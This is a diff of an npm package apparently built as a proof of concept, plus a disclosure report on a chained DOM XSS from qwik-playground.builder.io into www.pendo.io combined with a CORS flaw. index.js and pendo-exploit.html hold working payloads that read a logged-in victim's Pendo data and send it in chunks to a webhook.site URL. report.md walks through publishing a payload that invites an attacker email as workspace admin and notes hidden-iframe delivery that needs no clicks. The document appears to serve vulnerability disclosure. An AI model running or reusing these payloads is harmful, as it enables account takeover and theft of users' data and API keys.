npm-builderio-qwik-poc 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/a.html +1 -1
- package/index.js +2 -2
- package/package.json +1 -1
- package/pendo-exploit.html +34 -0
- package/report.md +60 -33
package/a.html
CHANGED
|
@@ -19,7 +19,7 @@ document.getElementById('btn').addEventListener('click', function() {
|
|
|
19
19
|
log.textContent += '[4] XSS will iframe pendo.io, postMessage into it,\n';
|
|
20
20
|
log.textContent += ' then reach into the first-party window to exfil data.\n';
|
|
21
21
|
|
|
22
|
-
window.location = 'https://qwik-playground.builder.io/#
|
|
22
|
+
window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOxr7BVqgUA';
|
|
23
23
|
}, 3000);
|
|
24
24
|
});
|
|
25
25
|
</script>
|
package/index.js
CHANGED
|
@@ -11,13 +11,13 @@ ids.forEach(function(id) {
|
|
|
11
11
|
allIds.push(id.replace('builder-', ''));
|
|
12
12
|
});
|
|
13
13
|
|
|
14
|
-
var
|
|
14
|
+
var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
|
|
15
15
|
|
|
16
16
|
iframe.onload = function() {
|
|
17
17
|
setTimeout(function() {
|
|
18
18
|
var patchData = {};
|
|
19
19
|
allIds.forEach(function(id) {
|
|
20
|
-
patchData[id] = [{op:"replace",path:"/bindings/show",value:
|
|
20
|
+
patchData[id] = [{op:"replace",path:"/bindings/show",value:exfil}];
|
|
21
21
|
});
|
|
22
22
|
iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
|
|
23
23
|
}, 3000);
|
package/package.json
CHANGED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><title>Builder.io + Pendo PoC</title></head>
|
|
4
|
+
<body style="font-family:sans-serif;background:#111;color:#eee;padding:40px;max-width:700px;margin:0 auto;text-align:center;">
|
|
5
|
+
<h2>Builder.io → Pendo DOM XSS Chain</h2>
|
|
6
|
+
<p>Make sure you are logged into <a href="https://app.pendo.io" target="_blank" style="color:#4af;">app.pendo.io</a> first.</p>
|
|
7
|
+
<button id="btn" style="padding:18px 40px;font-size:20px;cursor:pointer;background:#e33;color:#fff;border:none;border-radius:6px;">Run Exploit</button>
|
|
8
|
+
<pre id="log" style="margin-top:30px;background:#1a1a1a;color:#0f0;padding:20px;text-align:left;border-radius:6px;min-height:120px;"></pre>
|
|
9
|
+
<script>
|
|
10
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
11
|
+
var log = document.getElementById('log');
|
|
12
|
+
this.disabled = true;
|
|
13
|
+
this.style.background = '#666';
|
|
14
|
+
|
|
15
|
+
log.textContent = '[1] Opening www.pendo.io as first-party window (session cookies load here)...\n';
|
|
16
|
+
window.open('https://www.pendo.io', 'pendowin');
|
|
17
|
+
|
|
18
|
+
setTimeout(function() {
|
|
19
|
+
log.textContent += '[2] Redirecting to qwik-playground.builder.io XSS payload...\n';
|
|
20
|
+
log.textContent += '[3] Payload will:\n';
|
|
21
|
+
log.textContent += ' - iframe www.pendo.io with builder.frameEditing=true\n';
|
|
22
|
+
log.textContent += ' - send postMessage to inject JS via Function()\n';
|
|
23
|
+
log.textContent += ' - bridge into first-party window (same-origin)\n';
|
|
24
|
+
log.textContent += ' - fetch novus-api.pendo.io/pendo/app with victim cookies\n';
|
|
25
|
+
log.textContent += ' - exfiltrate response to webhook\n\n';
|
|
26
|
+
log.textContent += '[*] Check your leaked data at:\n';
|
|
27
|
+
log.textContent += ' https://webhook.site/#!/view/236d0505-1750-49fe-907d-604b0934b5c7\n';
|
|
28
|
+
|
|
29
|
+
window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOyr7BVqgUA';
|
|
30
|
+
}, 3000);
|
|
31
|
+
});
|
|
32
|
+
</script>
|
|
33
|
+
</body>
|
|
34
|
+
</html>
|
package/report.md
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
|
-
# Chained DOM XSS on qwik-playground.builder.io → www.pendo.io
|
|
1
|
+
# Chained DOM XSS on qwik-playground.builder.io → www.pendo.io Full Workspace Takeover via novus-api.pendo.io
|
|
2
2
|
|
|
3
3
|
## Summary
|
|
4
4
|
|
|
5
|
-
While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler
|
|
5
|
+
While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler. Combined with a CORS misconfiguration on `novus-api.pendo.io`, this results in full workspace and account takeover on **app.pendo.io**.
|
|
6
6
|
|
|
7
7
|
**Vulnerability 1** — Unsanitized `location.hash` flows into a dynamic `import()` with path traversal:
|
|
8
8
|
|
|
@@ -31,7 +31,9 @@ a = Function('state','event','block','builder','Device','update','Builder','cont
|
|
|
31
31
|
);
|
|
32
32
|
```
|
|
33
33
|
|
|
34
|
-
|
|
34
|
+
**Vulnerability 3** — CORS misconfiguration on `novus-api.pendo.io`. The API returns `Access-Control-Allow-Origin: https://www.pendo.io` with `Access-Control-Allow-Credentials: true`. JS running on `www.pendo.io` can make authenticated requests and read responses — including `POST /pendo/user` which creates admin invitations for the victim's Pendo subscription.
|
|
35
|
+
|
|
36
|
+
The attacker gets full admin access to the victim's **app.pendo.io** workspace. One click, full account and organization takeover.
|
|
35
37
|
|
|
36
38
|
## Environment / Prerequisites
|
|
37
39
|
|
|
@@ -44,13 +46,13 @@ No special browser, extension, or configuration is required.
|
|
|
44
46
|
|
|
45
47
|
## Steps to Reproduce
|
|
46
48
|
|
|
47
|
-
There are two
|
|
49
|
+
There are two paths. **Path A is the one you should use to verify this bug** — everything is deployed, just log in and click a link. Path B shows the full workspace takeover chain where the attacker invites themselves as admin. The video PoC attached covers both paths end to end.
|
|
48
50
|
|
|
49
51
|
---
|
|
50
52
|
|
|
51
|
-
### Path A —
|
|
53
|
+
### Path A — Data Exfiltration PoC (Use This One)
|
|
52
54
|
|
|
53
|
-
Everything is already
|
|
55
|
+
This is the fastest way to verify the chain works. Everything is already set up. The exploit fetches the victim's data from `novus-api.pendo.io` and sends it to a webhook. You'll see your own PII, API keys, and account data land on the webhook page.
|
|
54
56
|
|
|
55
57
|
**Step 1:** Log in to Pendo at `https://app.pendo.io`.
|
|
56
58
|
|
|
@@ -64,25 +66,33 @@ https://poc1.xyz/pendo-poc.html
|
|
|
64
66
|
- A new tab opens to `www.pendo.io` (loads your session cookies)
|
|
65
67
|
- After 3 seconds, the original tab redirects to the qwik-playground XSS, which silently triggers the full chain
|
|
66
68
|
|
|
67
|
-
**Step 4:** Go to the
|
|
69
|
+
**Step 4:** Go to the webhook to see your leaked data:
|
|
68
70
|
|
|
69
71
|
```
|
|
70
|
-
https://webhook.site/
|
|
72
|
+
https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7
|
|
71
73
|
```
|
|
72
74
|
|
|
73
|
-
Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the
|
|
75
|
+
Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the API response. To read it, copy the `d` value, go to https://www.base64decode.org/, paste it, and click Decode. You'll see JSON containing:
|
|
76
|
+
|
|
77
|
+
- Your **email**, **name**, **role**, and **internal user ID**
|
|
78
|
+
- **Workspace metadata** and **subscription IDs**
|
|
79
|
+
- **API keys** and **track event secrets**
|
|
80
|
+
- **Feature flags** and **application configuration**
|
|
81
|
+
- **Account creation timestamps** and **auth token details**
|
|
74
82
|
|
|
75
83
|
That's it. One click, full data exfiltration from `novus-api.pendo.io`.
|
|
76
84
|
|
|
77
85
|
---
|
|
78
86
|
|
|
79
|
-
### Path B —
|
|
87
|
+
### Path B — Full Workspace Takeover (Admin Invitation)
|
|
88
|
+
|
|
89
|
+
This is the real impact. Instead of just reading data, the attacker uses `POST /pendo/user` to invite themselves as **admin (role 2)** to the victim's Pendo subscription. The invitation works on both `novus.pendo.io` AND `app.pendo.io` because they share the same subscription and user database. After accepting the invite, the attacker has full admin access to the victim's workspace.
|
|
80
90
|
|
|
81
|
-
|
|
91
|
+
Path B requires building and publishing your own npm package with your attacker email. Here's how:
|
|
82
92
|
|
|
83
|
-
**Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where
|
|
93
|
+
**Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where you'll see the API response confirming the invitation was created.
|
|
84
94
|
|
|
85
|
-
**Step 2:** Create a file called `index.js` with the following content. Replace `YOUR-WEBHOOK-URL
|
|
95
|
+
**Step 2:** Create a file called `index.js` with the following content. Replace `ATTACKER-EMAIL` with the email you want the admin invitation sent to, and `YOUR-WEBHOOK-URL` with the webhook URL from Step 1:
|
|
86
96
|
|
|
87
97
|
```js
|
|
88
98
|
var iframe = document.createElement('iframe');
|
|
@@ -119,13 +129,13 @@ ids.forEach(function(id) {
|
|
|
119
129
|
allIds.push(id.replace('builder-', ''));
|
|
120
130
|
});
|
|
121
131
|
|
|
122
|
-
var
|
|
132
|
+
var payload = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/user',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:'ATTACKER-EMAIL',role:2,first:'Security',last:'Researcher'})}).then(function(r){return r.text()}).then(function(d){new Image().src='YOUR-WEBHOOK-URL?action=invite&status='+encodeURIComponent(d)})\";w.document.head.appendChild(s)}";
|
|
123
133
|
|
|
124
134
|
iframe.onload = function() {
|
|
125
135
|
setTimeout(function() {
|
|
126
136
|
var patchData = {};
|
|
127
137
|
allIds.forEach(function(id) {
|
|
128
|
-
patchData[id] = [{op:"replace",path:"/bindings/show",value:
|
|
138
|
+
patchData[id] = [{op:"replace",path:"/bindings/show",value:payload}];
|
|
129
139
|
});
|
|
130
140
|
iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
|
|
131
141
|
}, 3000);
|
|
@@ -133,13 +143,14 @@ iframe.onload = function() {
|
|
|
133
143
|
```
|
|
134
144
|
|
|
135
145
|
What this does:
|
|
136
|
-
-
|
|
137
|
-
- Sends
|
|
138
|
-
- The binding
|
|
139
|
-
-
|
|
140
|
-
-
|
|
146
|
+
- Iframes `www.pendo.io/?builder.frameEditing=true` (enables the vulnerable postMessage handler)
|
|
147
|
+
- Sends `builder.patchUpdates` postMessage that injects attacker code into block bindings (no origin check)
|
|
148
|
+
- The binding runs through `Function()` — arbitrary JS on `www.pendo.io`
|
|
149
|
+
- Bridges into the first-party pendo.io window to bypass Chrome's cookie partitioning
|
|
150
|
+
- Calls `POST /pendo/user` with `role: 2` (admin) and the attacker's email
|
|
151
|
+
- The API creates an admin invitation — attacker receives an email to join the victim's subscription
|
|
141
152
|
|
|
142
|
-
**Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check
|
|
153
|
+
**Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check at `https://www.npmjs.com/package/YOUR-NAME` (404 = available):
|
|
143
154
|
|
|
144
155
|
```json
|
|
145
156
|
{
|
|
@@ -164,8 +175,6 @@ npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE
|
|
|
164
175
|
npm publish
|
|
165
176
|
```
|
|
166
177
|
|
|
167
|
-
Replace `YOUR_TOKEN_HERE` with the token from 4b.
|
|
168
|
-
|
|
169
178
|
**Step 5:** Wait ~2 minutes for jsDelivr to index it. Verify at `https://cdn.jsdelivr.net/npm/your-unique-package-name@1.0.0` — you should see your code.
|
|
170
179
|
|
|
171
180
|
**Step 6:** Generate the exploit URL. Go to https://poc1.xyz/pendo-encoder.html, type your package name, click "Generate PoC URL", and copy the result.
|
|
@@ -191,24 +200,42 @@ document.getElementById('btn').addEventListener('click', function() {
|
|
|
191
200
|
</html>
|
|
192
201
|
```
|
|
193
202
|
|
|
194
|
-
**Step 8:** Open `a.html
|
|
203
|
+
**Step 8:** Open `a.html` in a browser where the victim is logged into Pendo. Click the button.
|
|
204
|
+
|
|
205
|
+
**Step 9:** Check your webhook — you'll see a response with `201 Created` and a `pendoInvitationId`. Check the attacker email inbox — you'll receive an invitation to join the victim's Pendo subscription as admin.
|
|
206
|
+
|
|
207
|
+
**Step 10:** Accept the invitation, create a password. You now have full admin access on both **novus.pendo.io** and **app.pendo.io** — same subscription, same user database.
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Video PoC
|
|
212
|
+
|
|
213
|
+
The attached video PoC demonstrates both paths:
|
|
214
|
+
- **Path A** — one click, victim's PII, API keys, and account data exfiltrated to the attacker's webhook
|
|
215
|
+
- **Path B** — one click, attacker invited as admin to the victim's workspace, then logging into app.pendo.io with full admin access
|
|
195
216
|
|
|
196
217
|
## Impact
|
|
197
218
|
|
|
198
|
-
The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user.
|
|
219
|
+
The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user. Combined with the CORS misconfiguration on `novus-api.pendo.io`, this gives the attacker full read and write access to the victim's Pendo subscription.
|
|
199
220
|
|
|
200
|
-
**
|
|
221
|
+
**Full Workspace Takeover via Admin Invitation** — The attacker calls `POST /pendo/user` with `role: 2` to create an admin invitation for themselves. After accepting, the attacker has full admin access to the victim's **app.pendo.io** workspace — the same access as the account owner. This includes user management (invite more admins, remove users), guide publishing to the victim's end users, all analytics and session replay data, integration management, and full subscription settings.
|
|
201
222
|
|
|
202
|
-
**Data Exfiltration** —
|
|
223
|
+
**Data Exfiltration** — Before the attacker even needs to invite themselves, the chain leaks:
|
|
224
|
+
- `GET /pendo/app` — **API keys**, application config, all feature flags, **track event secrets**
|
|
225
|
+
- `GET /auth/me` — victim's **email**, user ID, organization ID, subscription IDs
|
|
226
|
+
- `GET /auth/subscriptions` — all subscriptions the victim belongs to
|
|
227
|
+
- `GET /cortex-chat` — all **AI assistant conversations**
|
|
228
|
+
- `GET /setup-workflow` — all workflow data
|
|
229
|
+
- `GET /integrations` — connected integrations (in my test, the victim's **GitHub account** was exposed)
|
|
203
230
|
|
|
204
|
-
**Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access
|
|
231
|
+
**Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access without re-exploiting.
|
|
205
232
|
|
|
206
|
-
**
|
|
233
|
+
**Organization Takeover** — Once the attacker has admin access via the invitation, they can invite more attacker-controlled accounts, remove legitimate users, change roles, modify product analytics, publish malicious guides to the victim's end users, and access all connected integrations.
|
|
207
234
|
|
|
208
|
-
|
|
235
|
+
One click from any logged-in Pendo user. Full account, workspace, and organization takeover on app.pendo.io.
|
|
209
236
|
|
|
210
237
|
### CVSS Clarification
|
|
211
238
|
|
|
212
|
-
- **Confidentiality: High** — The attacker can access all user data, workspace data, account metadata, analytics data, and any information available through `novus-api.pendo.io
|
|
213
|
-
- **Integrity: High** — The attacker can
|
|
214
|
-
- **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the
|
|
239
|
+
- **Confidentiality: High** — The attacker can access all user data, workspace data, API keys, track event secrets, account metadata, analytics data, AI conversations, integration credentials, and any information available through `novus-api.pendo.io`.
|
|
240
|
+
- **Integrity: High** — The attacker can invite themselves as admin (`POST /pendo/user` with `role: 2`), modify all workspace settings, publish guides to end users, change user roles, remove users, and alter any data through the Pendo admin panel on app.pendo.io.
|
|
241
|
+
- **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the authenticated API calls. The XSS chain itself (qwik-playground → pendo.io iframe → postMessage → `Function()` execution) fires automatically when the victim visits any attacker-controlled page. An attacker can embed the qwik-playground XSS URL in a hidden iframe on any website — the DOM XSS triggers on page load, the pendo.io iframe is created programmatically, and the postMessage payload is sent automatically. The victim sees nothing and clicks nothing.
|